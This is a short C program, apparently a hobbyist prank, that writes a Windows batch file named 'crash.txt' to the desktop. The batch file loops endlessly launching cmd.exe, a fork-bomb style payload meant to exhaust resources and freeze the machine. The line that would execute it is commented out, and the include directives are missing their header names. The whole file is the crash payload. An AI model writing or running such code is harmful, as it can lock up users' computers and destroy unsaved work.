#include #include int main() { FILE *fp; system("title Crash"); system("color 02"); fp = fopen("C:\\Users\\user\\Desktop\\crash.txt","w+"); if (fp==NULL) { puts("cannot open file"); getch(); exit(0); } fputs("@echo off\n:Crash\nstart C:\\windows\\system32\\CMD.exe\ngoto Crash",fp); fclose(fp); //system("C:\\Users\\user\\Desktop\\crash.txt"); getch(); return 0; }